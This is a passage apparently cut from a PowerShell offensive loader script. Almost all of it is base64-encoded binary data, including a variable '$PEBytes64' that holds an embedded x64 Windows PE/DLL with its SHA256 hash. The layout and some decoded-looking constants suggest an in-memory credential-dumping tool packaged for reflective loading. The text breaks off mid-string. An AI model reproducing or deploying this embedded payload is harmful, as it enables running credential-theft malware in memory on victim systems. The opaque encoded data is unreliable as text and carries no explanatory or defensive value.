8kDyUPJg8sDzIPOA8+Dz8PBA9FD0oPSw9QD1QPVQ9WD1cPWA9ZD1wPZA9lD2YPaw9sD20Pbw9wD3EPcg9zD3QPdQ92D3cPeA95D3oPew98D30Pfg9/D0APgQ+CD4MPhA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+jD6QPpQ+mD6cPqA+pD6oPqw+sD60Prg+vD7APsQ+yD7MPtA+1D7YPtw+4D7kPug+7D7wPvQ++D78PgA/BD8IPwAAAFAEACAAAABEMEgwmDCIM4wzkDOYM6AzpDOoM6wzsDMA0AUAdAAAAIw2mDY0Ojg6RDpIOlQ6WDpkOmg6iDqoOsQ6yDrkOug6CDsoO0g7VDtwO5A7sDu4O7w72Dv4OxQ8GDw4PFg8eDyYPLg82Dz4PBg9OD1YPXg9mD24Pdg9+D0YPjg+WD54Ppg+uD7UPtg+9D74PgAABgC8AAAAJDBYMDgxaDF4MYgxmDGoMcAxzDHQMdQx8DH0MTAyUDdgN2Q3aDdsN3A3dDd4N3w3gDeEN5A3lDeYN5w3oDekN6g3rDfgOOQ46DjsOPA49Dj8ODg5dDmwOSg6MDpkOmw6oDqoOtw65DoYOyA7VDtcO5A7mDsoPDA8ZDxsPKA8qDzcPOQ8GD0gPVQ9XD2YPag9sD3gPfA9+D0IPhA+RD5MPoA+iD68PsQ+9D78Pmg/cD+oP+Q/ABAGALgAAAAgMFwwuDD0MDAxiDGQMcQxzDEAMggyPDJEMtgy4DIUMxwzUDNYM4wzlDPcM+Az+DM0NHA0rDQINUQ1iDXENQA2PDZ4NrQ2wDYYN1Q3kDfMNwg4RDh4OHw4hDikOLA40DjcOAg5RDmAOcQ5yDnQORg6VDqQOsw6CDtEO4A7tDu4O8A76DvsO/Q7FDwYPCA8SDyIPMQ8yDzQPPg8ND1wPbQ9uD3APfg9ND5wPqw+6D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + # SHA256 hash: 7be46bb4305052eb4b7378d63ae9f076265928eb16bb162bd55c42c063ac435a + $PEBytes64 = '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